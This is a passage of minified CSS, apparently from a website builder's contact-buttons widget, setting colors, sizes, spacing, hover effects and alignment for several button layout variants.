.e-contact-buttons__content{background-color:var(--e-contact-buttons-chat-box-bg);padding-block-start:var(--e-contact-buttons-chat-box-padding-block-start);padding-block-end:var(--e-contact-buttons-chat-box-padding-block-end);padding-inline-start:var(--e-contact-buttons-chat-box-padding-inline-start);padding-inline-end:var(--e-contact-buttons-chat-box-padding-inline-end)}.e-contact-buttons-var-3 .e-contact-buttons__top-bar{background-color:var(--e-contact-buttons-chat-box-bg);padding:0 20px 20px 0;position:relative}.e-contact-buttons-var-3 .e-contact-buttons__top-bar .e-contact-buttons__close-button{background:none;border:0;color:var(--e-contact-buttons-close-button-color);display:flex;padding:0;position:absolute;inset-inline-end:0;top:0}.e-contact-buttons-var-3 .e-contact-buttons__top-bar .e-contact-buttons__close-button:focus,.e-contact-buttons-var-3 .e-contact-buttons__top-bar .e-contact-buttons__close-button:hover{background:none;border:0;color:var(--e-contact-buttons-close-button-color)}.e-contact-buttons-var-3 .e-contact-buttons__top-bar-title{font-size:18px;font-weight:600;line-height:18px}.e-contact-buttons-var-3 .e-contact-buttons__links{background-color:var(--e-contact-buttons-chat-box-bg);display:flex;flex-direction:column;padding-inline:16px;padding-block-end:20px}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]){color:var(--e-contact-buttons-icon-link-text-color);display:flex;flex-direction:row;font-size:16px;font-weight:500;line-height:24px;gap:var(--e-contact-buttons-icon-link-gap);margin-block-end:var(--e-contact-buttons-icon-link-spacing)}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:last-of-type,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):last-of-type{margin-block-end:0}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]) svg,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-icon-link-text-color);height:1em;width:1em}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:hover,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):focus,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):hover{color:var(--e-contact-buttons-icon-link-text-color-hover)}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:hover svg,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):focus svg,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]):hover svg{fill:var(--e-contact-buttons-icon-link-text-color-hover)}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-icon-position-start .e-contact-buttons__contact-icon-container,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-icon-position-start .e-contact-buttons__contact-icon-container{order:1}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-icon-position-start .e-contact-buttons__contact-tooltip,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-icon-position-start .e-contact-buttons__contact-tooltip{order:2}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-icon-position-end .e-contact-buttons__contact-icon-container,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-icon-position-end .e-contact-buttons__contact-icon-container{display:flex;flex-grow:1;justify-content:flex-end;order:2}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-icon-position-end .e-contact-buttons__contact-tooltip,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-icon-position-end .e-contact-buttons__contact-tooltip{order:1}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-dividers,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-dividers{padding-block-end:var(--e-contact-buttons-icon-link-spacing);position:relative}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-dividers:after,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-dividers:after{background-color:var(--e-contact-buttons-icon-link-divider-color);bottom:0;content:"";display:block;height:var(--e-contact-buttons-icon-link-divider-weight);position:absolute;left:0;width:100%}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-dividers:last-of-type,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-dividers:last-of-type{padding-block-end:0}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link.has-dividers:last-of-type:after,.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-link:not([href]):not([tabindex]).has-dividers:last-of-type:after{display:none}.e-contact-buttons-var-3 .e-contact-buttons__contact-icon-container{align-items:center;display:flex}.e-contact-buttons-var-3 .e-contact-buttons__cta-button{background-color:var(--e-contact-buttons-send-button-bg);border-radius:5px;color:var(--e-contact-buttons-send-button-text);display:flex;font-size:16px;font-weight:500;justify-content:center;line-height:24px;padding-block-start:var(--e-contact-buttons-send-button-padding-block-start);padding-block-end:var(--e-contact-buttons-send-button-padding-block-end);padding-inline-start:var(--e-contact-buttons-send-button-padding-inline-start);padding-inline-end:var(--e-contact-buttons-send-button-padding-inline-end)}.e-contact-buttons-var-3 .e-contact-buttons__cta-button:focus,.e-contact-buttons-var-3 .e-contact-buttons__cta-button:hover{background-color:var(--e-contact-buttons-send-button-bg-hover);color:var(--e-contact-buttons-send-button-text-hover)}.e-contact-buttons-var-4{--e-contact-buttons-size-small:45px;--e-contact-buttons-size-medium:50px;--e-contact-buttons-size-large:55px;--e-contact-buttons-icon-small:20px;--e-contact-buttons-icon-medium:24px;--e-contact-buttons-icon-large:26px;--e-contact-buttons-button-bg-hover:#324a6d;--e-contact-buttons-active-button-color:#1c2448;--e-contact-buttons-contact-button-icon-hover:#467ff7;--e-contact-buttons-contact-button-bg-hover:#fff;width:auto}.e-contact-buttons-var-4 .e-contact-buttons__chat-buttons-container{display:flex}.e-contact-buttons-var-4 .e-contact-buttons__close-button{border-radius:50%;inset-inline-end:unset;inset-inline-start:unset;position:relative;top:unset}.e-contact-buttons-var-4 .e-contact-buttons__close-button,.e-contact-buttons-var-4 .e-contact-buttons__close-button:focus,.e-contact-buttons-var-4 .e-contact-buttons__close-button:hover{background-color:var(--e-contact-buttons-active-button-bg);color:var(--e-contact-buttons-active-button-color)}.e-contact-buttons-var-4 .e-contact-buttons__chat-button[aria-expanded=true],.e-contact-buttons-var-4 .e-contact-buttons__chat-button[type=button][aria-expanded=true],.e-contact-buttons-var-4 .e-contact-buttons__close-button[aria-expanded=false],.e-contact-buttons-var-4 .e-contact-buttons__close-button[type=button][aria-expanded=false]{display:none}.e-contact-buttons-var-4 .e-contact-buttons__content{border-radius:0;box-shadow:none;margin:0;overflow:visible}.e-contact-buttons-var-4 .e-contact-buttons__contact-links{display:flex;flex-direction:column;gap:var(--e-contact-buttons-contact-gap)}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-container{align-items:center;background-color:var(--e-contact-buttons-contact-button-bg);border-radius:50px;display:inline-flex;justify-content:center;transition:all .3s}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link{align-items:center;display:flex;flex-direction:row;gap:14px}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link .e-contact-buttons__contact-icon-container{color:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link:focus .e-contact-buttons__contact-icon-container,.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link:hover .e-contact-buttons__contact-icon-container{background-color:var(--e-contact-buttons-contact-button-bg-hover);color:var(--e-contact-buttons-contact-button-icon-hover);transition:all .3s}.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-4 .e-contact-buttons__contact-icon-link:hover svg{fill:var(--e-contact-buttons-contact-button-icon-hover)}.e-contact-buttons-var-4 .e-contact-buttons__contact-tooltip{background-color:var(--e-contact-buttons-tooltip-bg);border-radius:16px;box-shadow:2px 4px 4px 0 rgba(0,0,0,.15);color:var(--e-contact-buttons-tooltip-text);font-size:13px;line-height:25px;padding:4px 14px;position:relative}.e-contact-buttons-var-4 .e-contact-buttons__contact-tooltip:after{border-style:solid;content:"";height:0;position:absolute;top:50%;transform:translateY(-50%);width:0}.e-contact-buttons-var-4.has-h-alignment-end .e-contact-buttons__chat-button-container{padding-inline-end:0}.e-contact-buttons-var-4.has-h-alignment-end .e-contact-buttons__contact-links{align-items:flex-end}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__contact-tooltip:after,.e-contact-buttons-var-4.has-h-alignment-end .e-contact-buttons__contact-tooltip:after{border-inline-start-color:var(--e-contact-buttons-tooltip-bg);border-inline-end-color:transparent;border-block-start-color:transparent;border-block-end-color:transparent;border-inline-start-width:10px;border-inline-end-width:0;border-block-start-width:8px;border-block-end-width:8px;inset-inline-end:-8px}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__chat-button-container{padding-inline-start:0}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__contact-links{align-items:flex-start}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__contact-tooltip{order:2}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__contact-icon-container{order:1}.e-contact-buttons-var-4.has-h-alignment-start .e-contact-buttons__contact-tooltip:after{border-inline-start-color:transparent;border-inline-end-color:var(--e-contact-buttons-tooltip-bg);border-block-start-color:transparent;border-block-end-color:transparent;border-inline-start-width:0;border-inline-end-width:10px;border-block-start-width:8px;border-block-end-width:8px;inset-inline-start:-8px}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__contact-links{align-items:flex-end}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__content-wrapper{inset-inline-end:0}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__contact-tooltip{inset-inline-end:calc(100% + 14px);position:absolute;top:50%;transform:translateY(-50%);white-space:nowrap}.e-contact-buttons-var-4.has-h-alignment-center .e-contact-buttons__contact-icon-link{position:relative}.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__chat-button,.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__close-button,.e-contact-buttons-var-4 .has-size-small .e-contact-buttons__contact-icon-container{height:var(--e-contact-buttons-size-small);width:var(--e-contact-buttons-size-small)}.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__chat-button svg,.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__close-button svg,.e-contact-buttons-var-4 .has-size-small .e-contact-buttons__contact-icon-container svg{height:var(--e-contact-buttons-icon-small);width:var(--e-contact-buttons-icon-small)}.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__chat-button i,.e-contact-buttons-var-4 .has-size-small.e-contact-buttons__close-button i,.e-contact-buttons-var-4 .has-size-small .e-contact-buttons__contact-icon-container i{font-size:var(--e-contact-buttons-icon-small)}.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__chat-button,.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__close-button,.e-contact-buttons-var-4 .has-size-medium .e-contact-buttons__contact-icon-container{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__chat-button svg,.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__close-button svg,.e-contact-buttons-var-4 .has-size-medium .e-contact-buttons__contact-icon-container svg{height:var(--e-contact-buttons-icon-medium);width:var(--e-contact-buttons-icon-medium)}.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__chat-button i,.e-contact-buttons-var-4 .has-size-medium.e-contact-buttons__close-button i,.e-contact-buttons-var-4 .has-size-medium .e-contact-buttons__contact-icon-container i{font-size:var(--e-contact-buttons-icon-medium)}.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__chat-button,.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__close-button,.e-contact-buttons-var-4 .has-size-large .e-contact-buttons__contact-icon-container{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__chat-button svg,.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__close-button svg,.e-contact-buttons-var-4 .has-size-large .e-contact-buttons__contact-icon-container svg{height:var(--e-contact-buttons-icon-large);width:var(--e-contact-buttons-icon-large)}.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__chat-button i,.e-contact-buttons-var-4 .has-size-large.e-contact-buttons__close-button i,.e-contact-buttons-var-4 .has-size-large .e-contact-buttons__contact-icon-container i{font-size:var(--e-contact-buttons-icon-large)}.e-contact-buttons-var-6{--e-contact-buttons-icon-size-small:25px;--e-contact-buttons-icon-size-medium:30px;--e-contact-buttons-icon-size-large:35px;--e-contact-buttons-button-bar-bg:#324a6d;--e-contact-buttons-links-border-radius:50px;--e-contact-buttons-contact-button-icon-hover:#c8d5dc;--e-contact-buttons-button-bar-padding-block-end:12px;--e-contact-buttons-button-bar-padding-block-start:12px;--e-contact-buttons-button-bar-padding-inline-end:12px;--e-contact-buttons-button-bar-padding-inline-start:12px;--e-contact-buttons-vertical-offset:20px;width:auto}.e-contact-buttons-var-6 .e-contact-buttons__contact-links{background-color:var(--e-contact-buttons-button-bar-bg);border-radius:var(--e-contact-buttons-links-border-radius);display:flex;justify-content:center;gap:0;padding-inline-end:var(--e-contact-buttons-button-bar-padding-inline-end);padding-inline-start:var(--e-contact-buttons-button-bar-padding-inline-start)}.e-contact-buttons-var-6 .e-contact-buttons__contact-links.has-corners-rounded{--e-contact-buttons-links-border-radius:20px}.e-contact-buttons-var-6 .e-contact-buttons__contact-links.has-corners-round{--e-contact-buttons-links-border-radius:50px}.e-contact-buttons-var-6 .e-contact-buttons__contact-links.has-corners-sharp{--e-contact-buttons-links-border-radius:0}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link{color:var(--e-contact-buttons-contact-button-icon);display:flex;padding-block-end:var(--e-contact-buttons-button-bar-padding-block-end);padding-block-start:var(--e-contact-buttons-button-bar-padding-block-start);padding-inline-end:var(--e-contact-buttons-button-bar-padding-inline-end);padding-inline-start:var(--e-contact-buttons-button-bar-padding-inline-start)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon);height:28px;transition:all .3s;width:28px}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link:focus,.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link:hover{color:var(--e-contact-buttons-contact-button-icon-hover)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link:focus svg,.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link:hover svg{fill:var(--e-contact-buttons-contact-button-icon-hover);transition:all .3s}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-small svg{height:var(--e-contact-buttons-icon-size-small);width:var(--e-contact-buttons-icon-size-small)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-small i{font-size:var(--e-contact-buttons-icon-size-small)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-medium svg{height:var(--e-contact-buttons-icon-size-medium);width:var(--e-contact-buttons-icon-size-medium)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-medium i{font-size:var(--e-contact-buttons-icon-size-medium)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-large svg{height:var(--e-contact-buttons-icon-size-large);width:var(--e-contact-buttons-icon-size-large)}.e-contact-buttons-var-6 .e-contact-buttons__contact-icon-link.has-size-large i{font-size:var(--e-contact-buttons-icon-size-large)}.e-contact-buttons-var-7{--e-contact-buttons-chat-button-padding-block-end:16px;--e-contact-buttons-chat-button-padding-block-start:16px;--e-contact-buttons-chat-button-padding-inline-end:20px;--e-contact-buttons-chat-button-padding-inline-start:20px;--e-contact-buttons-chat-button-gap:8px;--e-contact-buttons-horizontal-offset:0;--e-contact-buttons-vertical-offset:0}.e-contact-buttons-var-7.has-h-alignment-end .e-contact-buttons__chat-button-container,.e-contact-buttons-var-7.has-h-alignment-start .e-contact-buttons__chat-button-container{padding-inline:0}@media (max-width:767px){.e-contact-buttons-var-7.has-mobile-full-width{width:100%}.e-contact-buttons-var-7.has-mobile-full-width .e-contact-buttons__chat-button-container{width:100%;max-width:100%}.e-contact-buttons-var-7.has-mobile-full-width .e-contact-buttons__chat-button{width:100%}}.e-contact-buttons-var-7 .e-contact-buttons__chat-button,.e-contact-buttons-var-7 .e-contact-buttons__chat-button:not([href]):not([tabindex]),.e-contact-buttons-var-7 .e-contact-buttons__chat-button[type=button]{border-radius:0;color:var(--e-contact-buttons-button-icon);display:inline-flex;font-size:18px;font-weight:500;gap:var(--e-contact-buttons-chat-button-gap);height:-moz-fit-content;height:fit-content;line-height:28px;padding-block-end:var(--e-contact-buttons-chat-button-padding-block-end);padding-block-start:var(--e-contact-buttons-chat-button-padding-block-start);padding-inline-end:var(--e-contact-buttons-chat-button-padding-inline-end);padding-inline-start:var(--e-contact-buttons-chat-button-padding-inline-start);width:-moz-fit-content;width:fit-content}.e-contact-buttons-var-7 .e-contact-buttons__chat-button:not([href]):not([tabindex]) svg,.e-contact-buttons-var-7 .e-contact-buttons__chat-button[type=button] svg,.e-contact-buttons-var-7 .e-contact-buttons__chat-button svg{height:1em;width:1em}.e-contact-buttons-var-7 .e-contact-buttons__chat-button:focus,.e-contact-buttons-var-7 .e-contact-buttons__chat-button:hover,.e-contact-buttons-var-7 .e-contact-buttons__chat-button:not([href]):not([tabindex]):focus,.e-contact-buttons-var-7 .e-contact-buttons__chat-button:not([href]):not([tabindex]):hover,.e-contact-buttons-var-7 .e-contact-buttons__chat-button[type=button]:focus,.e-contact-buttons-var-7 .e-contact-buttons__chat-button[type=button]:hover{color:var(--e-contact-buttons-button-icon-hover)}.e-contact-buttons-var-8{--e-contact-buttons-size-small:48px;--e-contact-buttons-size-medium:56px;--e-contact-buttons-size-large:64px;--e-contact-buttons-svg-size-small:22px;--e-contact-buttons-svg-size-medium:28px;--e-contact-buttons-svg-size-large:36px;--e-contact-buttons-chat-box-width:280px;--e-contact-buttons-button-bg:#324a6d;--e-contact-buttons-button-bg-hover:#1c2448;--e-contact-buttons-active-button-bg:#f3f5f8;--e-contact-buttons-active-button-color:#324a6d;--e-contact-buttons-top-bar-bg:#324a6d;--e-contact-buttons-contact-button-bg:#c8d5dc;--e-contact-buttons-contact-button-icon:#324a6d}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-email,.e-contact-buttons-var-8 .has-colors-type-default.has-platform-phone,.e-contact-buttons-var-8 .has-colors-type-default.has-platform-sms,.e-contact-buttons-var-8 .has-colors-type-default.has-platform-url{--e-contact-buttons-contact-button-icon:#467ff7}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-whatsapp{--e-contact-buttons-contact-button-icon:#25d366}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-skype{--e-contact-buttons-contact-button-icon:#00aff0}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-messenger{--e-contact-buttons-contact-button-icon:#168aff}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-viber{--e-contact-buttons-contact-button-icon:#7360f2}.e-contact-buttons-var-8 .has-colors-type-default.has-platform-waze{--e-contact-buttons-contact-button-icon:#3cf}.e-contact-buttons-var-8 .has-size-small.e-contact-buttons__close-button{align-items:center;display:flex;height:var(--e-contact-buttons-size-small);justify-content:center;width:var(--e-contact-buttons-size-small)}.e-contact-buttons-var-8 .has-size-small.e-contact-buttons__close-button .eicon-close{font-size:24px}.e-contact-buttons-var-8 .has-size-medium.e-contact-buttons__close-button{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons-var-8 .has-size-medium.e-contact-buttons__close-button .eicon-close{font-size:28px}.e-contact-buttons-var-8 .has-size-large.e-contact-buttons__close-button{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons-var-8 .has-size-large.e-contact-buttons__close-button .eicon-close{font-size:32px}.e-contact-buttons-var-8 .e-contact-buttons__chat-buttons-container{display:flex}.e-contact-buttons-var-8 .e-contact-buttons__close-button{border-radius:50%;inset-inline-end:unset;inset-inline-start:unset;position:relative;top:unset}.e-contact-buttons-var-8 .e-contact-buttons__close-button,.e-contact-buttons-var-8 .e-contact-buttons__close-button:focus,.e-contact-buttons-var-8 .e-contact-buttons__close-button:hover{background-color:var(--e-contact-buttons-active-button-bg);color:var(--e-contact-buttons-active-button-color)}.e-contact-buttons-var-8 .e-contact-buttons__chat-button[aria-expanded=true],.e-contact-buttons-var-8 .e-contact-buttons__chat-button[type=button][aria-expanded=true],.e-contact-buttons-var-8 .e-contact-buttons__close-button[aria-expanded=false]{display:none}.e-contact-buttons-var-8 .e-contact-buttons__top-bar-title{font-size:16px;line-height:24px;font-weight:600}.e-contact-buttons-var-8 .e-contact-buttons__top-bar-subtitle{font-size:12px;line-height:16px;font-weight:500px}.e-contact-buttons-var-8 .e-contact-buttons__contact-links{display:flex;flex-direction:column;gap:12px;padding:12px}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link{background-color:var(--e-contact-buttons-contact-button-bg);border-start-end-radius:15px;border-end-end-radius:15px;border-end-start-radius:15px;color:var(--e-contact-buttons-contact-button-icon);display:grid;grid-template-columns:auto 1fr;grid-template-rows:repeat(2,1fr);grid-column-gap:12px;grid-row-gap:0;padding:10px 20px}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link svg{fill:var(--e-contact-buttons-contact-button-icon)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-small svg{height:var(--e-contact-buttons-svg-size-small);width:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-small i{font-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-medium svg{height:var(--e-contact-buttons-svg-size-medium);width:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-medium i{font-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-large svg{height:var(--e-contact-buttons-svg-size-large);width:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-link.has-size-large i{font-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-8 .e-contact-buttons__contact-icon-container{align-items:center;display:flex;grid-area:1/1/3/2}.e-contact-buttons-var-8 .e-contact-buttons__contact-title{color:var(--e-contact-buttons-contact-title-text-color);grid-area:1/2/2/3;font-size:16px;font-weight:600;line-height:24px}.e-contact-buttons-var-8 .e-contact-buttons__contact-description{color:var(--e-contact-buttons-contact-description-text-color);grid-area:2/2/3/3;font-size:12px;font-weight:300;line-height:16px}.e-contact-buttons-var-8 .e-contact-buttons__links-container{background-color:var(--e-contact-buttons-chat-box-bg)}.e-contact-buttons-var-9{--e-contact-buttons-size-small:48px;--e-contact-buttons-size-medium:56px;--e-contact-buttons-size-large:64px;--e-contact-buttons-svg-size-small:24px;--e-contact-buttons-svg-size-medium:28px;--e-contact-buttons-svg-size-large:32px;--e-contact-buttons-transition-duration:.3s;--e-contact-buttons-transition:all var(--e-contact-buttons-transition-duration);--e-contact-buttons-overlap-margin:-10px;--e-contact-buttons-chat-button-padding-block-end:8px;--e-contact-buttons-chat-button-padding-block-start:8px;--e-contact-buttons-chat-button-padding-inline-end:16px;--e-contact-buttons-chat-button-padding-inline-start:16px;width:auto}.e-contact-buttons-var-9 .e-contact-buttons__chat-button-icon-container{align-items:center;background-color:var(--e-contact-buttons-button-bg);border-radius:50%;display:flex;justify-content:center;position:relative;transition:var(--e-contact-buttons-transition);z-index:1}.e-contact-buttons-var-9 .e-contact-buttons__chat-button-icon-container svg{position:relative;z-index:2}.e-contact-buttons-var-9 .e-contact-buttons__chat-button-text{background-color:var(--e-contact-buttons-button-bg);color:var(--e-contact-buttons-button-icon);font-size:16px;font-weight:500;line-height:24px;padding-block-end:var(--e-contact-buttons-chat-button-padding-block-end);padding-block-start:var(--e-contact-buttons-chat-button-padding-block-start);padding-inline-end:var(--e-contact-buttons-chat-button-padding-inline-end);padding-inline-start:var(--e-contact-buttons-chat-button-padding-inline-start);position:relative;transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button{background-color:transparent;border-radius:0;color:var(--e-contact-buttons-button-icon);height:auto;width:auto}.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover{color:var(--e-contact-buttons-button-icon)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus svg,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover svg{fill:var(--e-contact-buttons-button-icon)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text:before,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9 .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text:before{background-color:var(--e-contact-buttons-button-bg);color:var(--e-contact-buttons-button-icon);transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-small .e-contact-buttons__chat-button-icon-container{height:var(--e-contact-buttons-size-small);width:var(--e-contact-buttons-size-small)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-small .e-contact-buttons__chat-button-icon-container svg{height:var(--e-contact-buttons-svg-size-small);width:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-small .e-contact-buttons__chat-button-icon-container i{font-size:var(--e-contact-buttons-svg-size-small)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-medium .e-contact-buttons__chat-button-icon-container{height:var(--e-contact-buttons-size-medium);width:var(--e-contact-buttons-size-medium)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-medium .e-contact-buttons__chat-button-icon-container svg{height:var(--e-contact-buttons-svg-size-medium);width:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-medium .e-contact-buttons__chat-button-icon-container i{font-size:var(--e-contact-buttons-svg-size-medium)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-large .e-contact-buttons__chat-button-icon-container{height:var(--e-contact-buttons-size-large);width:var(--e-contact-buttons-size-large)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-large .e-contact-buttons__chat-button-icon-container svg{height:var(--e-contact-buttons-svg-size-large);width:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-9 .e-contact-buttons__chat-button.has-size-large .e-contact-buttons__chat-button-icon-container i{font-size:var(--e-contact-buttons-svg-size-large)}.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button-container{padding-inline-end:0}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button-icon-container{position:absolute;inset-inline-end:-5px;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button-text{border-start-start-radius:0;border-end-start-radius:0;border-start-end-radius:50px;border-end-end-radius:50px;margin-inline-start:var(--e-contact-buttons-overlap-margin)}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 0 0 100%);clip-path:inset(0 0 0 100%)}}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-text,.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0);transition:var(--e-contact-buttons-transition)}.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button:focus .e-contact-buttons__chat-button-icon-container,.e-contact-buttons-var-9.has-h-alignment-end .e-contact-buttons__chat-button:hover .e-contact-buttons__chat-button-icon-container{inset-inline-end:100%;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-container{padding-inline-start:0}.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-icon-container{order:2}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-icon-container{position:absolute;inset-inline-start:-5px;transition:var(--e-contact-buttons-transition)}}.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-text{border-start-start-radius:50px;border-end-start-radius:50px;border-start-end-radius:0;border-end-end-radius:0;margin-inline-end:var(--e-contact-buttons-overlap-margin);order:1}@media (min-width:1025px){.e-contact-buttons-var-9.has-h-alignment-start .e-contact-buttons__chat-button-text{-webkit-clip-path:inset(0 100% 0 0);clip-path:inset(0 100% 0 